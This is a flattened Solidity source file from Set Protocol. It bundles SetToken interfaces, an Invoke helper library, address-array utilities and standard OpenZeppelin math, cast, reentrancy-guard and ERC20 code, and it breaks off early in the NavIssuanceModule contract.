============ */ /** * The base definition of a SetToken Position * * @param component Address of token in the Position * @param module If not in default state, the address of associated module * @param unit Each unit is the # of components per 10^18 of a SetToken * @param positionState Position ENUM. Default is 0; External is 1 * @param data Arbitrary data */ struct Position { address component; address module; int256 unit; uint8 positionState; bytes data; } /** * A struct that stores a component's cash position details and external positions * This data structure allows O(1) access to a component's cash position units and * virtual units. * * @param virtualUnit Virtual value of a component's DEFAULT position. Stored as virtual for efficiency * updating all units at once via the position multiplier. Virtual units are achieved * by dividing a "real" value by the "positionMultiplier" * @param componentIndex * @param externalPositionModules List of external modules attached to each external position. Each module * maps to an external position * @param externalPositions Mapping of module => ExternalPosition struct for a given component */ struct ComponentPosition { int256 virtualUnit; address[] externalPositionModules; mapping(address => ExternalPosition) externalPositions; } /** * A struct that stores a component's external position details including virtual unit and any * auxiliary data. * * @param virtualUnit Virtual value of a component's EXTERNAL position. * @param data Arbitrary data */ struct ExternalPosition { int256 virtualUnit; bytes data; } /* ============ Functions ============ */ function addComponent(address _component) external; function removeComponent(address _component) external; function editDefaultPositionUnit(address _component, int256 _realUnit) external; function addExternalPositionModule(address _component, address _positionModule) external; function removeExternalPositionModule(address _component, address _positionModule) external; function editExternalPositionUnit(address _component, address _positionModule, int256 _realUnit) external; function editExternalPositionData(address _component, address _positionModule, bytes calldata _data) external; function invoke(address _target, uint256 _value, bytes calldata _data) external returns(bytes memory); function editPositionMultiplier(int256 _newMultiplier) external; function mint(address _account, uint256 _quantity) external; function burn(address _account, uint256 _quantity) external; function lock() external; function unlock() external; function addModule(address _module) external; function removeModule(address _module) external; function initializeModule() external; function setManager(address _manager) external; function manager() external view returns (address); function moduleStates(address _module) external view returns (ModuleState); function getModules() external view returns (address[] memory); function getDefaultPositionRealUnit(address _component) external view returns(int256); function getExternalPositionRealUnit(address _component, address _positionModule) external view returns(int256); function getComponents() external view returns(address[] memory); function getExternalPositionModules(address _component) external view returns(address[] memory); function getExternalPositionData(address _component, address _positionModule) external view returns(bytes memory); function isExternalPositionModule(address _component, address _module) external view returns(bool); function isComponent(address _component) external view returns(bool); function positionMultiplier() external view returns (int256); function getPositions() external view returns (Position[] memory); function getTotalComponentRealUnits(address _component) external view returns(int256); function isInitializedModule(address _module) external view returns(bool); function isPendingModule(address _module) external view returns(bool); function isLocked() external view returns (bool); } // Dependency file: contracts/protocol/lib/Invoke.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; /** * @title Invoke * @author Set Protocol * * A collection of common utility functions for interacting with the SetToken's invoke function */ library Invoke { using SafeMath for uint256; /* ============ Internal ============ */ /** * Instructs the SetToken to set approvals of the ERC20 token to a spender. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to approve * @param _spender The account allowed to spend the SetToken's balance * @param _quantity The quantity of allowance to allow */ function invokeApprove( ISetToken _setToken, address _token, address _spender, uint256 _quantity ) internal { bytes memory callData = abi.encodeWithSignature("approve(address,uint256)", _spender, _quantity); _setToken.invoke(_token, 0, callData); } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function invokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { bytes memory callData = abi.encodeWithSignature("transfer(address,uint256)", _to, _quantity); _setToken.invoke(_token, 0, callData); } } /** * Instructs the SetToken to transfer the ERC20 token to a recipient. * The new SetToken balance must equal the existing balance less the quantity transferred * * @param _setToken SetToken instance to invoke * @param _token ERC20 token to transfer * @param _to The recipient account * @param _quantity The quantity to transfer */ function strictInvokeTransfer( ISetToken _setToken, address _token, address _to, uint256 _quantity ) internal { if (_quantity > 0) { // Retrieve current balance of token for the SetToken uint256 existingBalance = IERC20(_token).balanceOf(address(_setToken)); Invoke.invokeTransfer(_setToken, _token, _to, _quantity); // Get new balance of transferred token for SetToken uint256 newBalance = IERC20(_token).balanceOf(address(_setToken)); // Verify only the transfer quantity is subtracted require( newBalance == existingBalance.sub(_quantity), "Invalid post transfer balance" ); } } /** * Instructs the SetToken to unwrap the passed quantity of WETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeUnwrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("withdraw(uint256)", _quantity); _setToken.invoke(_weth, 0, callData); } /** * Instructs the SetToken to wrap the passed quantity of ETH * * @param _setToken SetToken instance to invoke * @param _weth WETH address * @param _quantity The quantity to unwrap */ function invokeWrapWETH(ISetToken _setToken, address _weth, uint256 _quantity) internal { bytes memory callData = abi.encodeWithSignature("deposit()"); _setToken.invoke(_weth, _quantity, callData); } } // Dependency file: contracts/interfaces/INAVIssuanceHook.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; // import { ISetToken } from "./ISetToken.sol"; interface INAVIssuanceHook { function invokePreIssueHook( ISetToken _setToken, address _reserveAsset, uint256 _reserveAssetQuantity, address _sender, address _to ) external; function invokePreRedeemHook( ISetToken _setToken, uint256 _redeemQuantity, address _sender, address _to ) external; } // Dependency file: contracts/interfaces/IController.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; interface IController { function addSet(address _setToken) external; function feeRecipient() external view returns(address); function getModuleFee(address _module, uint256 _feeType) external view returns(uint256); function isModule(address _module) external view returns(bool); function isSet(address _setToken) external view returns(bool); function isSystemContract(address _contractAddress) external view returns (bool); function resourceId(uint256 _id) external view returns(address); } // Dependency file: contracts/lib/AddressArrayUtils.sol /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ // pragma solidity 0.6.10; /** * @title AddressArrayUtils * @author Set Protocol * * Utility functions to handle Address Arrays */ library AddressArrayUtils { /** * Finds the index of the first occurrence of the given element. * @param A The input array to search * @param a The value to find * @return Returns (index and isIn) for the first occurrence starting from index 0 */ function indexOf(address[] memory A, address a) internal pure returns (uint256, bool) { uint256 length = A.length; for (uint256 i = 0; i < length; i++) { if (A[i] == a) { return (i, true); } } return (uint256(-1), false); } /** * Returns true if the value is present in the list. Uses indexOf internally. * @param A The input array to search * @param a The value to find * @return Returns isIn for the first occurrence starting from index 0 */ function contains(address[] memory A, address a) internal pure returns (bool) { (, bool isIn) = indexOf(A, a); return isIn; } /** * Returns true if there are 2 elements that are the same in an array * @param A The input array to search * @return Returns boolean for the first occurrence of a duplicate */ function hasDuplicate(address[] memory A) internal pure returns(bool) { require(A.length > 0, "A is empty"); for (uint256 i = 0; i < A.length - 1; i++) { address current = A[i]; for (uint256 j = i + 1; j < A.length; j++) { if (current == A[j]) { return true; } } } return false; } /** * @param A The input array to search * @param a The address to remove * @return Returns the array with the object removed. */ function remove(address[] memory A, address a) internal pure returns (address[] memory) { (uint256 index, bool isIn) = indexOf(A, a); if (!isIn) { revert("Address not in array."); } else { (address[] memory _A,) = pop(A, index); return _A; } } /** * Removes specified index from array * @param A The input array to search * @param index The index to remove * @return Returns the new array and the removed entry */ function pop(address[] memory A, uint256 index) internal pure returns (address[] memory, address) { uint256 length = A.length; require(index < A.length, "Index must be < A length"); address[] memory newAddresses = new address[](length - 1); for (uint256 i = 0; i < index; i++) { newAddresses[i] = A[i]; } for (uint256 j = index + 1; j < length; j++) { newAddresses[j - 1] = A[j]; } return (newAddresses, A[index]); } } // Dependency file: @openzeppelin/contracts/math/SignedSafeMath.sol // pragma solidity ^0.6.0; /** * @title SignedSafeMath * @dev Signed math operations with safety checks that revert on error. */ library SignedSafeMath { int256 constant private _INT256_MIN = -2**255; /** * @dev Returns the multiplication of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(int256 a, int256 b) internal pure returns (int256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } require(!(a == -1 && b == _INT256_MIN), "SignedSafeMath: multiplication overflow"); int256 c = a * b; require(c / a == b, "SignedSafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two signed integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(int256 a, int256 b) internal pure returns (int256) { require(b != 0, "SignedSafeMath: division by zero"); require(!(b == -1 && a == _INT256_MIN), "SignedSafeMath: division overflow"); int256 c = a / b; return c; } /** * @dev Returns the subtraction of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(int256 a, int256 b) internal pure returns (int256) { int256 c = a - b; require((b >= 0 && c <= a) || (b < 0 && c > a), "SignedSafeMath: subtraction overflow"); return c; } /** * @dev Returns the addition of two signed integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(int256 a, int256 b) internal pure returns (int256) { int256 c = a + b; require((b >= 0 && c >= a) || (b < 0 && c < a), "SignedSafeMath: addition overflow"); return c; } } // Dependency file: @openzeppelin/contracts/math/SafeMath.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } // Dependency file: @openzeppelin/contracts/utils/SafeCast.sol // pragma solidity ^0.6.0; /** * @dev Wrappers over Solidity's uintXX/intXX casting operators with added overflow * checks. * * Downcasting from uint256/int256 in Solidity does not revert on overflow. This can * easily result in undesired exploitation or bugs, since developers usually * assume that overflows raise errors. `SafeCast` restores this intuition by * reverting the transaction when such an operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. * * Can be combined with {SafeMath} and {SignedSafeMath} to extend it to smaller types, by performing * all math on `uint256` and `int256` and then downcasting. */ library SafeCast { /** * @dev Returns the downcasted uint128 from uint256, reverting on * overflow (when the input is greater than largest uint128). * * Counterpart to Solidity's `uint128` operator. * * Requirements: * * - input must fit into 128 bits */ function toUint128(uint256 value) internal pure returns (uint128) { require(value < 2**128, "SafeCast: value doesn\'t fit in 128 bits"); return uint128(value); } /** * @dev Returns the downcasted uint64 from uint256, reverting on * overflow (when the input is greater than largest uint64). * * Counterpart to Solidity's `uint64` operator. * * Requirements: * * - input must fit into 64 bits */ function toUint64(uint256 value) internal pure returns (uint64) { require(value < 2**64, "SafeCast: value doesn\'t fit in 64 bits"); return uint64(value); } /** * @dev Returns the downcasted uint32 from uint256, reverting on * overflow (when the input is greater than largest uint32). * * Counterpart to Solidity's `uint32` operator. * * Requirements: * * - input must fit into 32 bits */ function toUint32(uint256 value) internal pure returns (uint32) { require(value < 2**32, "SafeCast: value doesn\'t fit in 32 bits"); return uint32(value); } /** * @dev Returns the downcasted uint16 from uint256, reverting on * overflow (when the input is greater than largest uint16). * * Counterpart to Solidity's `uint16` operator. * * Requirements: * * - input must fit into 16 bits */ function toUint16(uint256 value) internal pure returns (uint16) { require(value < 2**16, "SafeCast: value doesn\'t fit in 16 bits"); return uint16(value); } /** * @dev Returns the downcasted uint8 from uint256, reverting on * overflow (when the input is greater than largest uint8). * * Counterpart to Solidity's `uint8` operator. * * Requirements: * * - input must fit into 8 bits. */ function toUint8(uint256 value) internal pure returns (uint8) { require(value < 2**8, "SafeCast: value doesn\'t fit in 8 bits"); return uint8(value); } /** * @dev Converts a signed int256 into an unsigned uint256. * * Requirements: * * - input must be greater than or equal to 0. */ function toUint256(int256 value) internal pure returns (uint256) { require(value >= 0, "SafeCast: value must be positive"); return uint256(value); } /** * @dev Returns the downcasted int128 from int256, reverting on * overflow (when the input is less than smallest int128 or * greater than largest int128). * * Counterpart to Solidity's `int128` operator. * * Requirements: * * - input must fit into 128 bits * * _Available since v3.1._ */ function toInt128(int256 value) internal pure returns (int128) { require(value >= -2**127 && value < 2**127, "SafeCast: value doesn\'t fit in 128 bits"); return int128(value); } /** * @dev Returns the downcasted int64 from int256, reverting on * overflow (when the input is less than smallest int64 or * greater than largest int64). * * Counterpart to Solidity's `int64` operator. * * Requirements: * * - input must fit into 64 bits * * _Available since v3.1._ */ function toInt64(int256 value) internal pure returns (int64) { require(value >= -2**63 && value < 2**63, "SafeCast: value doesn\'t fit in 64 bits"); return int64(value); } /** * @dev Returns the downcasted int32 from int256, reverting on * overflow (when the input is less than smallest int32 or * greater than largest int32). * * Counterpart to Solidity's `int32` operator. * * Requirements: * * - input must fit into 32 bits * * _Available since v3.1._ */ function toInt32(int256 value) internal pure returns (int32) { require(value >= -2**31 && value < 2**31, "SafeCast: value doesn\'t fit in 32 bits"); return int32(value); } /** * @dev Returns the downcasted int16 from int256, reverting on * overflow (when the input is less than smallest int16 or * greater than largest int16). * * Counterpart to Solidity's `int16` operator. * * Requirements: * * - input must fit into 16 bits * * _Available since v3.1._ */ function toInt16(int256 value) internal pure returns (int16) { require(value >= -2**15 && value < 2**15, "SafeCast: value doesn\'t fit in 16 bits"); return int16(value); } /** * @dev Returns the downcasted int8 from int256, reverting on * overflow (when the input is less than smallest int8 or * greater than largest int8). * * Counterpart to Solidity's `int8` operator. * * Requirements: * * - input must fit into 8 bits. * * _Available since v3.1._ */ function toInt8(int256 value) internal pure returns (int8) { require(value >= -2**7 && value < 2**7, "SafeCast: value doesn\'t fit in 8 bits"); return int8(value); } /** * @dev Converts an unsigned uint256 into a signed int256. * * Requirements: * * - input must be less than or equal to maxInt256. */ function toInt256(uint256 value) internal pure returns (int256) { require(value < 2**255, "SafeCast: value doesn't fit in an int256"); return int256(value); } } // Dependency file: @openzeppelin/contracts/utils/ReentrancyGuard.sol // pragma solidity ^0.6.0; /** * @dev Contract module that helps prevent reentrant calls to a function. * * Inheriting from `ReentrancyGuard` will make the {nonReentrant} modifier * available, which can be applied to functions to make sure there are no nested * (reentrant) calls to them. * * Note that because there is a single `nonReentrant` guard, functions marked as * `nonReentrant` may not call one another. This can be worked around by making * those functions `private`, and then adding `external` `nonReentrant` entry * points to them. * * TIP: If you would like to learn more about reentrancy and alternative ways * to protect against it, check out our blog post * https://blog.openzeppelin.com/reentrancy-after-istanbul/[Reentrancy After Istanbul]. */ contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _NOT_ENTERED = 1; uint256 private constant _ENTERED = 2; uint256 private _status; constructor () internal { _status = _NOT_ENTERED; } /** * @dev Prevents a contract from calling itself, directly or indirectly. * Calling a `nonReentrant` function from another `nonReentrant` * function is not supported. It is possible to prevent this from happening * by making the `nonReentrant` function external, and make it call a * `private` function that does the actual work. */ modifier nonReentrant() { // On the first call to nonReentrant, _notEntered will be true require(_status != _ENTERED, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _ENTERED; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _NOT_ENTERED; } } // Dependency file: @openzeppelin/contracts/token/ERC20/ERC20.sol // pragma solidity ^0.6.0; // import "../../GSN/Context.sol"; // import "./IERC20.sol"; // import "../../math/SafeMath.sol"; // import "../../utils/Address.sol"; /** * @dev Implementation of the {IERC20} interface. * * This implementation is agnostic to the way tokens are created. This means * that a supply mechanism has to be added in a derived contract using {_mint}. * For a generic mechanism see {ERC20PresetMinterPauser}. * * TIP: For a detailed writeup see our guide * https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How * to implement supply mechanisms]. * * We have followed general OpenZeppelin guidelines: functions revert instead * of returning `false` on failure. This behavior is nonetheless conventional * and does not conflict with the expectations of ERC20 applications. * * Additionally, an {Approval} event is emitted on calls to {transferFrom}. * This allows applications to reconstruct the allowance for all accounts just * by listening to said events. Other implementations of the EIP may not emit * these events, as it isn't required by the specification. * * Finally, the non-standard {decreaseAllowance} and {increaseAllowance} * functions have been added to mitigate the well-known issues around setting * allowances. See {IERC20-approve}. */ contract ERC20 is Context, IERC20 { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint256 private _totalSupply; string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for {name} and {symbol}, initializes {decimals} with * a default value of 18. * * To select a different value for {decimals}, use {_setupDecimals}. * * All three of these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol) public { _name = name; _symbol = symbol; _decimals = 18; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. This is the value {ERC20} uses, unless {_setupDecimals} is * called. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } /** * @dev See {IERC20-totalSupply}. */ function totalSupply() public view override returns (uint256) { return _totalSupply; } /** * @dev See {IERC20-balanceOf}. */ function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } /** * @dev See {IERC20-transfer}. * * Requirements: * * - `recipient` cannot be the zero address. * - the caller must have a balance of at least `amount`. */ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } /** * @dev See {IERC20-allowance}. */ function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } /** * @dev See {IERC20-approve}. * * Requirements: * * - `spender` cannot be the zero address. */ function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } /** * @dev See {IERC20-transferFrom}. * * Emits an {Approval} event indicating the updated allowance. This is not * required by the EIP. See the note at the beginning of {ERC20}; * * Requirements: * - `sender` and `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. * - the caller must have allowance for ``sender``'s tokens of at least * `amount`. */ function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } /** * @dev Atomically increases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. */ function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } /** * @dev Atomically decreases the allowance granted to `spender` by the caller. * * This is an alternative to {approve} that can be used as a mitigation for * problems described in {IERC20-approve}. * * Emits an {Approval} event indicating the updated allowance. * * Requirements: * * - `spender` cannot be the zero address. * - `spender` must have allowance for the caller of at least * `subtractedValue`. */ function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } /** * @dev Moves tokens `amount` from `sender` to `recipient`. * * This is internal function is equivalent to {transfer}, and can be used to * e.g. implement automatic token fees, slashing mechanisms, etc. * * Emits a {Transfer} event. * * Requirements: * * - `sender` cannot be the zero address. * - `recipient` cannot be the zero address. * - `sender` must have a balance of at least `amount`. */ function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); _beforeTokenTransfer(sender, recipient, amount); _balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } /** @dev Creates `amount` tokens and assigns them to `account`, increasing * the total supply. * * Emits a {Transfer} event with `from` set to the zero address. * * Requirements * * - `to` cannot be the zero address. */ function _mint(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _beforeTokenTransfer(address(0), account, amount); _totalSupply = _totalSupply.add(amount); _balances[account] = _balances[account].add(amount); emit Transfer(address(0), account, amount); } /** * @dev Destroys `amount` tokens from `account`, reducing the * total supply. * * Emits a {Transfer} event with `to` set to the zero address. * * Requirements * * - `account` cannot be the zero address. * - `account` must have at least `amount` tokens. */ function _burn(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: burn from the zero address"); _beforeTokenTransfer(account, address(0), amount); _balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance"); _totalSupply = _totalSupply.sub(amount); emit Transfer(account, address(0), amount); } /** * @dev Sets `amount` as the allowance of `spender` over the `owner`s tokens. * * This is internal function is equivalent to `approve`, and can be used to * e.g. set automatic allowances for certain subsystems, etc. * * Emits an {Approval} event. * * Requirements: * * - `owner` cannot be the zero address. * - `spender` cannot be the zero address. */ function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } /** * @dev Sets {decimals} to a value other than the default one of 18. * * WARNING: This function should only be called from the constructor. Most * applications that interact with token contracts will not expect * {decimals} to ever change, and may work incorrectly if it does. */ function _setupDecimals(uint8 decimals_) internal { _decimals = decimals_; } /** * @dev Hook that is called before any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens * will be to transferred to `to`. * - when `from` is zero, `amount` tokens will be minted for `to`. * - when `to` is zero, `amount` of ``from``'s tokens will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { } } /* Copyright 2020 Set Labs Inc. Licensed under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity 0.6.10; pragma experimental "ABIEncoderV2"; // import { ERC20 } from "@openzeppelin/contracts/token/ERC20/ERC20.sol"; // import { IERC20 } from "@openzeppelin/contracts/token/ERC20/IERC20.sol"; // import { ReentrancyGuard } from "@openzeppelin/contracts/utils/ReentrancyGuard.sol"; // import { SafeCast } from "@openzeppelin/contracts/utils/SafeCast.sol"; // import { SafeMath } from "@openzeppelin/contracts/math/SafeMath.sol"; // import { SignedSafeMath } from "@openzeppelin/contracts/math/SignedSafeMath.sol"; // import { AddressArrayUtils } from "../../lib/AddressArrayUtils.sol"; // import { IController } from "../../interfaces/IController.sol"; // import { INAVIssuanceHook } from "../../interfaces/INAVIssuanceHook.sol"; // import { Invoke } from "../lib/Invoke.sol"; // import { ISetToken } from "../../interfaces/ISetToken.sol"; // import { IWETH } from "../../interfaces/external/IWETH.sol"; // import { ModuleBase } from "../lib/ModuleBase.sol"; // import { Position } from "../lib/Position.sol"; // import { PreciseUnitMath } from "../../lib/PreciseUnitMath.sol"; // import { ResourceIdentifier } from "../lib/ResourceIdentifier.sol"; /** * @title NavIssuanceModule * @author Set Protocol * * Module that enables issuance and redemption with any valid ERC20 token or ETH if allowed by the manager. Sender receives * a proportional amount of SetTokens on issuance or ERC20 token on redemption based on the calculated net asset value using * oracle prices. Manager is able to enforce a premium / discount on issuance / redemption to avoid arbitrage and front * running when relying on oracle prices. Managers can charge a fee (denominated in reserve asset). */ contract NavIssuanceModule is ModuleBase, ReentrancyGuard { using AddressArrayUtils for address[]; using Invoke for ISetToken; using Position for ISetToken; using PreciseUnitMath for uint256; using PreciseUnitMath for int256; using ResourceIdentifier for IController; using SafeMath for uint256; using SafeCast for int256; using SafeCast for uint256; using SignedSafeMath for int256; /* ============ Events ============ */ event SetTokenNAVIssued( ISetToken indexed _setToken, address _issuer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); event SetTokenNAVRedeemed( ISetToken indexed _setToken, address _redeemer, address _to, address _reserveAsset, address _hookContract, uint256 _setTokenQuantity, uint256 _managerFee, uint256 _premium ); event ReserveAssetAdded( ISetToken indexed _setToken, address _newReserveAsset ); event ReserveAssetRemoved( ISetToken indexed _setToken, address _removedReserveAsset ); event PremiumEdited( ISetToken indexed _setToken, uint256 _newPremium ); event 